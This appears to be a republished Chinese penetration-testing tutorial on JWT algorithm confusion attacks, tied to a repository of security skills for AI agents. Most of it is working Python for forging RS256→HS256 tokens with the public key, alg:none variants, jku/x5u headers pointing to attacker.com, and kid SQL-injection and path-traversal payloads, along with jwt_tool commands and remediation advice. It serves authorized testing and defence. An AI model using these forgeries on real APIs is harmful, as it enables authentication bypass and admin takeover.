JWT 算法混淆攻击(Algorithm Confusion)实战指南:RS256→HS256 降级、alg:none 绕过与 kid/jku/x5u 头部注入
2026/9/13 17:21:20 网站建设 项目流程

JWT 算法混淆攻击(Algorithm Confusion)实战指南:RS256→HS256 降级、alg:none 绕过与 kid/jku/x5u 头部注入

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本篇技术指南以 Anthropic-Cybersecurity-Skills 仓库中 exploiting-jwt-algorithm-confusion-attack 技能及其 API 参考文档为主体,系统讲解 JWT 算法混淆攻击的完整原理与实战方法。读完本文,你将掌握如何识别并利用 RS256→HS256 密钥混淆、alg:none 签名绕过、以及 kid/jku/x5u 头部注入四类高危漏洞,并学会使用 PyJWT、jwt_tool 与仓库配套自动化脚本完成授权范围内的 API 认证安全测试。


一、JWT 结构基础:三段式令牌与常见算法

1.1 令牌的三段结构

JWT(JSON Web Token)由三个以点号(.)分隔、Base64URL 编码的部分组成:

<header>.<payload>.<signature>
  • Header(头部):声明令牌使用的签名算法与类型;
  • Payload(载荷):存放声明(claims),如subexprole
  • Signature(签名):对header.payload计算的消息认证码或数字签名。

一个典型的 Header 如下:

{"alg": "RS256", "typ": "JWT"}

1.2 常见签名算法

算法类型密钥
HS256HMAC对称共享密钥(Symmetric shared secret)
RS256RSA非对称密钥对(Asymmetric key pair)
ES256ECDSA非对称密钥对(Asymmetric key pair)
none无签名(No signature)

算法混淆类漏洞的根源在于:验证方(服务端)信任了令牌 Header 中声明的alg字段,而不是在配置层固定算法。当服务端使用 RS256 这种非对称算法时,签名依赖公钥/私钥对;一旦攻击者把alg改成 HS256,服务端的验证逻辑就可能退化为使用公钥作为对称密钥来校验 HMAC——这正是攻击可以利用的裂缝。在仓库的 API 参考文档 中,这一原理被完整记录为可复现的攻击流程。


二、算法混淆攻击原理与完整攻击流程

2.1 攻击流程(Attack Flow)

算法混淆攻击(Algorithm Confusion Attack)的完整链路如下:

  1. 服务端使用 RS256(非对称算法),持有公钥/私钥对;
  2. 攻击者获取服务端的 RSA 公钥(通常来自 JWKS 端点);
  3. 攻击者将algHeader 从 RS256 篡改为 HS256;
  4. 攻击者以RSA 公钥本身作为 HMAC 密钥对令牌签名;
  5. 服务端误用公钥以 HMAC 方式校验签名,令牌被接受。

关键点在于第 4 步:HMAC-SHA256 的密钥可以是任意字节串,而 RSA 公钥(PEM 格式文本)恰好是攻击者已知的字节串。如果服务端校验库在“切换算法后仍使用同一把公钥对象做密钥”且“信任alg头”,那么攻击者用公钥计算出的 HMAC 签名与服务端用公钥校验的结果完全一致。

2.2 使用公钥伪造令牌(Forging with Public Key)

API 参考文档给出的核心伪造型代码如下:

import hmac, hashlib, base64, json header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"})) payload = base64url(json.dumps({"sub": "admin"})) signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256) token = f"{header}.{payload}.{base64url(signature)}"

其中base64url是 Base64URL 编码(去除=填充)的简写;public_key_bytes即为服务端 RSA 公钥的字节串。

值得注意的是:实际利用时,不同的库与实现接受的公钥格式并不相同。仓库技能文档(SKILL.md)特别提醒,攻击时要尝试多种公钥格式,包括:

  • 完整 PEM(含BEGIN PUBLIC KEY头尾);
  • 去除首尾空白后的 PEM;
  • 去掉换行符的 PEM;
  • 仅 Base64 内容的 PEM 主体。

一旦第一种格式的签名不通过,就应逐一尝试其余变体,直到找到目标实现所期望的密钥字节形式。


三、实战前置条件与工具链

根据 SKILL.md,开展测试前必须准备:

  • 书面授权:明确包含目标 API 及其 JWT 认证机制的授权范围;
  • 有效 JWT:通过合法认证流程从目标 API 获取一个有效令牌;
  • 服务端 RSA 公钥:可通过 JWKS 端点、TLS 证书或公钥端点获取;
  • Python 3.10+ 环境:安装PyJWTcryptographyrequests库;
  • jwt_tool:用于自动化 JWT 攻击测试;
  • Burp Suite + JWT Editor 扩展:用于手动编解码与重签令牌。

配套工具速查表:

工具用途
jwt_toolPython 编写的 JWT 测试套件,支持 12+ 攻击模式(alg 混淆、none 绕过、kid 注入等)
Burp Suite JWT Editor解码、编辑、重签 JWT 的扩展,支持算法操纵
hashcat(mode 16500)针对 HS256/HS384/HS512 签名 JWT 的 GPU 加速 HMAC 密钥爆破
John the Ripper基于字典与规则攻击的 CPU 端 JWT 密钥破解
jwt.io在线 JWT 解码与调试工具

法律声明:本技能仅用于授权的安全测试与教育目的。未经授权对非自有系统或未获书面许可的系统进行测试属违法行为,可能触犯计算机欺诈相关法律。


四、完整攻击流程实操:令牌分析 → 获取公钥 → 伪造 HS256

仓库 SKILL.md 将整个攻击过程划分为五个可执行步骤,以下逐一展开。

Step 1:JWT 令牌分析

先通过合法登录获取一个有效令牌,并解码其三个部分:

import base64 import json import requests import time BASE_URL = "https://target-api.example.com/api/v1" # Capture a valid JWT token login_resp = requests.post(f"{BASE_URL}/auth/login", json={"email": "test@example.com", "password": "TestPass123!"}) valid_token = login_resp.json().get("access_token", "") # Decode JWT parts def decode_jwt(token): parts = token.split('.') if len(parts) != 3: raise ValueError("Invalid JWT format") def pad(s): return s + '=' * (4 - len(s) % 4) header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) return header, payload, parts[2] header, payload, signature = decode_jwt(valid_token) print(f"Algorithm: {header.get('alg')}") print(f"Key ID: {header.get('kid', 'none')}") print(f"Type: {header.get('typ')}") print(f"JKU: {header.get('jku', 'none')}") print(f"\nPayload: {json.dumps(payload, indent=2)}") print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

解码结果中需要重点关注:alg(决定后续攻击路径)、kid(决定是否存在 Key ID 注入面)、jku/x5u(决定是否存在远程取钥注入面),以及exp(确认令牌未过期,避免干扰测试结论)。

Step 2:获取服务端公钥

攻击的关键前置条件是拿到 RSA 公钥。SKILL.md 提供了三种获取途径:

from cryptography.hazmat.primitives import serialization from cryptography.x509 import load_pem_x509_certificate # Method 1: JWKS endpoint jwks_url = f"{BASE_URL}/.well-known/jwks.json" jwks_resp = requests.get(jwks_url) if jwks_resp.status_code == 200: jwks = jwks_resp.json() print(f"JWKS keys found: {len(jwks.get('keys', []))}") for key in jwks['keys']: print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}") # Extract RSA public key from JWKS from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers from cryptography.hazmat.backends import default_backend rsa_key = jwks['keys'][0] # First key n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big') e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big') public_key = RSAPublicNumbers(e, n).public_key(default_backend()) public_key_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}") # Method 2: From well-known OpenID configuration oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration") if oidc_resp.status_code == 200: jwks_uri = oidc_resp.json().get('jwks_uri') print(f"JWKS URI from OIDC config: {jwks_uri}") # Method 3: Exposed at common paths for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]: resp = requests.get(f"{BASE_URL}{path}") if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text): print(f"Public key found at: {path}")

JWKS 返回的n(模数)与e(指数)是 Base64URL 编码的大整数,需要先解码再经RSAPublicNumbers重建公钥对象;/oauth/token_key是 OAuth 体系中常见的密钥发布端点,值得一并探测。

Step 3:算法混淆攻击(RS256 → HS256)

获取公钥后,即可实施核心攻击——用公钥作为 HMAC 密钥伪造 HS256 令牌:

def forge_hs256_with_public_key(token, public_key_pem, modifications=None): """ Algorithm confusion: Sign token with HS256 using the RSA public key as secret. If the server uses a generic verify() that trusts the alg header, it will use the public key as the HMAC secret, matching our signature. """ parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) # Modify payload if requested if modifications: payload.update(modifications) # Create header with HS256 new_header = {"alg": "HS256", "typ": "JWT"} # Encode header and payload header_b64 = base64.urlsafe_b64encode( json.dumps(new_header).encode()).decode().rstrip('=') payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Sign with HMAC-SHA256 using the RSA public key as the secret signing_input = f"{header_b64}.{payload_b64}".encode() # Use the raw PEM bytes as the HMAC key if isinstance(public_key_pem, str): public_key_pem = public_key_pem.encode() signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest() sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=') return f"{header_b64}.{payload_b64}.{sig_b64}" # Attack 1: Algorithm confusion with same claims confused_token = forge_hs256_with_public_key(valid_token, public_key_pem) resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {confused_token}"}) print(f"Algorithm confusion (same claims): {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256") # Attack 2: Algorithm confusion with elevated privileges admin_token = forge_hs256_with_public_key(valid_token, public_key_pem, modifications={"role": "admin", "sub": "admin@example.com"}) resp = requests.get(f"{BASE_URL}/admin/users", headers={"Authorization": f"Bearer {admin_token}"}) print(f"Algorithm confusion (admin): {resp.status_code}") if resp.status_code == 200: print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")

实际测试应分两个层次:先保持原 claims 不变仅篡改算法,确认“算法混淆本身”成立;再叠加rolesub等敏感 claim 修改,确认能否提权到管理员。

公钥格式变体测试

由于不同 JWT 库对 HMAC 密钥的规范化方式不同(有的取 PEM 原样、有的去换行、有的只取 Base64 主体),SKILL.md 建议依次尝试以下变体:

key_formats = [ public_key_pem, # Full PEM public_key_pem.strip(), # Stripped whitespace public_key_pem.replace(b'\n', b''), # No newlines public_key_pem.decode().split('\n')[1:-1], # Base64 only ] for i, key_format in enumerate(key_formats): if isinstance(key_format, list): key_format = ''.join(key_format).encode() elif isinstance(key_format, str): key_format = key_format.encode() token = forge_hs256_with_public_key(valid_token, key_format) resp = requests.get(f"{BASE_URL}/users/me", headers={"Authorization": f"Bearer {token}"}) if resp.status_code == 200: print(f"[CRITICAL] Key format {i} worked for algorithm confusion")

五、alg:none 攻击:完全绕过签名校验

如果服务端 JWT 库在algnone(或缺失alg)时不强制校验签名,即可构造无签名令牌直接通过认证。API 参考文档给出的最简形态为:

header = base64url('{"alg":"none","typ":"JWT"}') payload = base64url('{"sub":"admin","admin":true}') token = f"{header}.{payload}."

注意签名段为空,且 payload 直接注入"admin": true提权声明。

实战中,很多实现会做大小写或格式过滤,因此 SKILL.md 提供了穷举变体策略——同时遍历 Header 变体与签名段变体:

def forge_none_algorithm(token, modifications=None): """Create tokens with alg:none variations to bypass signature verification.""" parts = token.split('.') payload = json.loads(base64.urlsafe_b64decode(parts[1] + '==')) if modifications: payload.update(modifications) payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode()).decode().rstrip('=') # Different "none" algorithm variations none_variants = [ {"alg": "none", "typ": "JWT"}, {"alg": "None", "typ": "JWT"}, {"alg": "NONE", "typ": "JWT"}, {"alg": "nOnE", "typ": "JWT"}, {"typ": "JWT"}, # Missing alg entirely ] tokens = [] for variant_header in none_variants: header_b64 = base64.urlsafe_b64encode( json.dumps(variant_header).encode()).decode().rstrip('=') # Different signature options sig_options = [ "", # Empty signature ".", # Just a dot parts[2], # Original signature base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte ] for sig in sig_options: tokens.append(f"{header_b64}.{payload_b64}.{sig}") return tokens

该函数会生成5 × 4 = 20个候选令牌,覆盖none/None/NONE/nOnE/缺失alg五种头部与“空签名/单点/原签名/空字节”四种签名段,最大化命中不同实现的解析差异。测试时先对原 claims 令牌逐个请求GET /users/me探测,再叠加{"role": "admin", "is_admin": True}尝试提权访问管理员接口。


六、JWT 头部注入攻击:JKU / X5U / KID

6.1 JKU(JSON Web Key Set URL)

jku头用于指示验证方去哪里获取公钥集。若服务端无条件信任该 URL,攻击者可把jku指向自己托管的 JWKS 端点,从而让服务端使用攻击者公钥完成“合法”验签:

{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}

SKILL.md 给出了完整的 JKU 攻击实现:首先生成攻击者自己的 RSA 密钥对并构造 JWKS 文档(包含kty: RSAkiduse: sigalg: RS256ne字段),然后构造alg仍为 RS256、kid指向攻击者密钥、jku指向攻击者服务器的令牌,并用攻击者私钥以PKCS1v15+ SHA256 完成签名:

def forge_jku_token(payload_modifications, jku_url): """Create a JWT signed with attacker key, JKU pointing to attacker JWKS.""" payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '==')) payload.update(payload_modifications) header = { "alg": "RS256", "typ": "JWT", "kid": "attacker-key-1", "jku": jku_url # Points to attacker-hosted JWKS } # ... Base64URL 编码 header/payload 后,用攻击者私钥签名 ...

测试时还可以构造绕过 URL 过滤的变体,例如https://target-api.example.com/api/v1@attacker.com/jwks(利用@混淆真实主机)、https://target-api.example.com/api/v1/.well-known/jwks.json#@attacker.com(利用 URL 片段截断)。

6.2 X5U(X.509 URL)

x5u头与 JKU 类似,指向 X.509 证书的 URL,服务端可能据此拉取证书中的公钥:

{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}

当服务端具备“从 URL 取钥”能力而未做域名白名单校验时,jkux5u均可构成完整认证绕过。

6.3 KID(Key ID)— SQL 注入

若服务端使用kid拼接 SQL 语句查询密钥,即可注入 SQL 让查询返回可控密钥:

{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}

6.4 KID(Key ID)— 路径遍历

若服务端按kid拼路径读取密钥文件,则可用路径遍历读取已知文件内容作为 HMAC 密钥,如指向空文件/dev/null时密钥为空:

{"alg": "HS256", "kid": "../../dev/null"}

SKILL.md 建议的完整 KID 注入测试向量包括:

kid_injection_payloads = [ "../../../../../../dev/null", # Path traversal to empty file "../../../../../../proc/sys/kernel/hostname", "' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup "' OR '1'='1", "../../../etc/passwd", "https://attacker.com/key.pem", # URL-based kid ]

例如针对/dev/null路径遍历,构造alg: HS256kid: ../../dev/null的头部,并以空字符串作为 HMAC 密钥签名;若服务端确实读取了该文件(内容为空),验签即通过:

modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid} # ... sig = hmac.new(b"", signing_input, hashlib.sha256).digest()

注意:当头部同时出现jku/x5u/kid时,应逐一测试各自注入面。仓库配套脚本 scripts/agent.py 的analyze_jwt()函数会自动对这三类头部标记风险等级:jkux5u存在标记为 HIGH,kid存在标记为 MEDIUM,alg为 none 标记为 CRITICAL。


七、PyJWT 库:错误用法与正确用法

API 参考文档用 PyJWT 展示了“漏洞成因”与“修复范式”的对照。

7.1 危险用法:不校验签名直接解码

仅用于本地查看令牌内容(或本身存在漏洞的调试代码),绝不能用于认证决策

import jwt decoded = jwt.decode(token, options={"verify_signature": False})

7.2 正确用法:强制限制算法白名单

在调用decode/verify显式传入algorithms白名单,服务器即不再信任 Header 中的alg

decoded = jwt.decode(token, public_key, algorithms=["RS256"])

algorithms=["RS256"]是修复算法混淆的核心动作——即便攻击者把alg改为 HS256,库也会因“算法不在白名单”而拒绝,同时杜绝了把非对称公钥误用作 HMAC 密钥的路径。SKILL.md 在 Remediation 中同样强调:在服务端配置层强制期望算法,即jwt.verify(token, key, algorithms=["RS256"])


八、jwt_tool 自动化测试

jwt_tool 是 Python 编写的 JWT 测试工具,可用于快速扫描与定向攻击。API 参考文档给出的三类核心用法:

python3 jwt_tool.py <token> -M at # All tests(全量测试) python3 jwt_tool.py <token> -X a # alg:none attack(none 算法攻击) python3 jwt_tool.py <token> -X k -pk public.pem # Key confusion(密钥混淆)
  • -M at:对所有已知攻击模式做全面扫描,适合测试初期快速摸底;
  • -X a:单独执行alg:none攻击;
  • -X k -pk public.pem:携带服务端公钥文件执行密钥混淆(key confusion)攻击。

九、仓库配套自动化 Agent:快速分析与伪造

仓库为本文主题提供了可直接运行的配套脚本 skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py,它将“令牌分析、alg:none 伪造、HS256 密钥混淆伪造、JSON 报告输出”封装为命令行工具:

# 分析一个 JWT 并输出风险发现 python3 agent.py --token <JWT_TOKEN> # 基于 payload 伪造 alg:none 令牌 python3 agent.py --forge-none --payload '{"sub":"admin","admin":true}' # 使用 RSA 公钥文件实施 HS256 算法混淆伪造 python3 agent.py --forge-hs256 public.pem --payload '{"sub":"admin","role":"admin"}' # 输出 JSON 报告到文件 python3 agent.py --token <JWT_TOKEN> --forge-none -o report.json

脚本中的三个核心函数与 SKILL.md 的五步工作流一一对应:

  • analyze_jwt(token):解码并检查alg: none(CRITICAL)、jku/x5u(HIGH)、kid(MEDIUM)、过期时间(LOW)、无expclaim(MEDIUM)、payload 中的管理员角色(INFO),返回结构化 findings;
  • forge_none_alg(payload_dict):构造{"alg": "none", "typ": "JWT"}的空签名令牌(脚本注释明确指出这是部分库的 CVE 成因);
  • forge_hs256_with_public_key(payload_dict, public_key_pem):实现“以 RSA 公钥 PEM 字节作为 HMAC 密钥”的算法混淆签名。

脚本在输出中会附带[!] For authorized security testing only的授权提示,其底层实现与 SKILL.md 工作流保持严格一致,可作为自动化回归或批量验证的起点。


十、常见攻击场景:银行 API 实例

SKILL.md 提供了一个完整的行业场景推演,便于理解真实攻击链的编排:

场景背景:某银行 API 使用 RS256 签名的 JWT 做认证,JWKS 端点公开可访问,API 处理需要高保障认证的金融交易。

测试步骤

  1. 以普通用户身份认证,获取一个有效 JWT;
  2. /.well-known/jwks.json提取 RSA 公钥;
  3. 构造"alg": "HS256"头,以 RSA 公钥为 HMAC 密钥对令牌签名;
  4. 将伪造令牌发送至GET /api/v1/users/me—— 服务端接受(确认算法混淆);
  5. 修改 payload 为"role": "admin""sub": "admin@bank.com",用公钥重新签名;
  6. 访问管理端点GET /api/v1/admin/transactions—— 返回全部交易记录;
  7. 测试 alg:none —— 被服务端拒绝(部分缓解,说明该实现并非全盘失守);
  8. 测试 kid 注入 SQL 载荷 —— kid 被拼入 SQL 查询密钥,存在 SQL 注入。

常见失误(Pitfalls)

  • 使用错误的公钥格式作为 HMAC 密钥(PEM 带/不带头尾、DER、原始字节等混淆);
  • 第一种公钥格式签名失败后不再尝试其他变体;
  • 误以为“已防御 alg:none”就等同于“算法混淆也已缓解”;
  • 头部存在kid却不测试 kid 注入向量;
  • 服务端存在从 URL 取钥逻辑却漏测 JKU/x5u 头部注入。

十一、漏洞发现报告输出规范

SKILL.md 给出了标准化的发现报告模板,建议测试者在确认漏洞后按此格式记录,便于进入工单与修复跟踪流程:

## Finding: JWT Algorithm Confusion Enables Authentication Bypass **ID**: API-JWT-001 **Severity**: Critical (CVSS 9.8) **CVE Reference**: CVE-2024-54150 (related pattern) **Affected Component**: JWT authentication middleware **Description**: The API's JWT verification library trusts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. An attacker can change the algorithm from RS256 to HS256 and sign the token using the server's RSA public key (available from the JWKS endpoint) as the HMAC secret. The server then uses the same public key to verify the HMAC signature, which succeeds, allowing the attacker to forge tokens for any user with any role. **Attack Chain**: 1. Obtain public key: GET /.well-known/jwks.json 2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"} 3. Sign with HMAC-SHA256 using RSA public key PEM as secret 4. Access admin API: GET /api/v1/admin/transactions -> 200 OK **Impact**: Complete authentication bypass. An attacker can forge tokens for any user including administrators, accessing all financial transactions, user data, and administrative functions. **Remediation**: 1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"]) 2. Never trust the alg header from the JWT for algorithm selection 3. Update the JWT library to the latest version with algorithm confusion protections 4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk 5. Implement token binding to prevent forged token acceptance

十二、修复与加固清单(Remediation)

综合 API 参考文档与 SKILL.md,修复算法混淆类漏洞应遵循以下清单:

  1. 始终显式指定允许的算法白名单algorithms=["RS256"],杜绝信任 Header 中的alg
  2. 绝不接受alg: none:对none及其大小写变体、缺失alg的情况一律拒绝;
  3. 对称与非对称算法使用分离的验证逻辑:不能混用同一密钥对象跨算法验证,从架构上消除“公钥被当作 HMAC 密钥”的可能;
  4. 校验 JKU/X5U 的 URL 白名单:仅允许固定域名,并拒绝任何带用户信息、片段或跳转的 URL;
  5. 升级 JWT 库到包含算法混淆防护的最新版本
  6. 考虑采用 EdDSA(Ed25519):该算法不存在对称/非对称混淆风险;
  7. 实现 Token 绑定(Token Binding):将令牌与会话/TLS 通道绑定,防止伪造令牌被直接接受。

附:核心概念术语表

术语定义
算法混淆(Algorithm Confusion)服务端信任 JWT 头中的alg,攻击者将 RS256 切换为 HS256 并以公钥作为 HMAC 密钥签名
alg:none 攻击alg设为none以完全绕过签名校验(当库未强制算法选择时)
JKU 注入篡改jku(JWK Set URL)头指向攻击者控制的 JWKS 端点,使攻击者自行提供签名密钥
KID 注入kid(Key ID)头注入 SQL、路径遍历或 URL 载荷,操纵密钥选择或读取任意文件
密钥混淆(Key Confusion)服务端错误地从非对称切换到对称验证时,RSA 公钥被当作 HMAC 密钥使用
JWKS(JSON Web Key Set)包含服务端用于验签的公钥的 JSON 结构,通常托管在 well-known 端点

总结

JWT 算法混淆攻击的四个主要形态——RS256→HS256 密钥混淆、alg:none 绕过、JKU/X5U 远程取钥注入、KID 文件/SQL 注入——本质上都源于同一个设计缺陷:验证方信任了令牌自述的算法与密钥来源。通过 API 参考文档 提供的攻击原语、SKILL.md 的五步工作流,以及 scripts/agent.py 的自动化能力,测试人员可以在授权范围内快速验证目标是否受影响;而修复方只需在配置层锁定算法白名单、拒绝alg:none、校验 JKU/X5U 来源,即可系统性封堵这四类路径。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询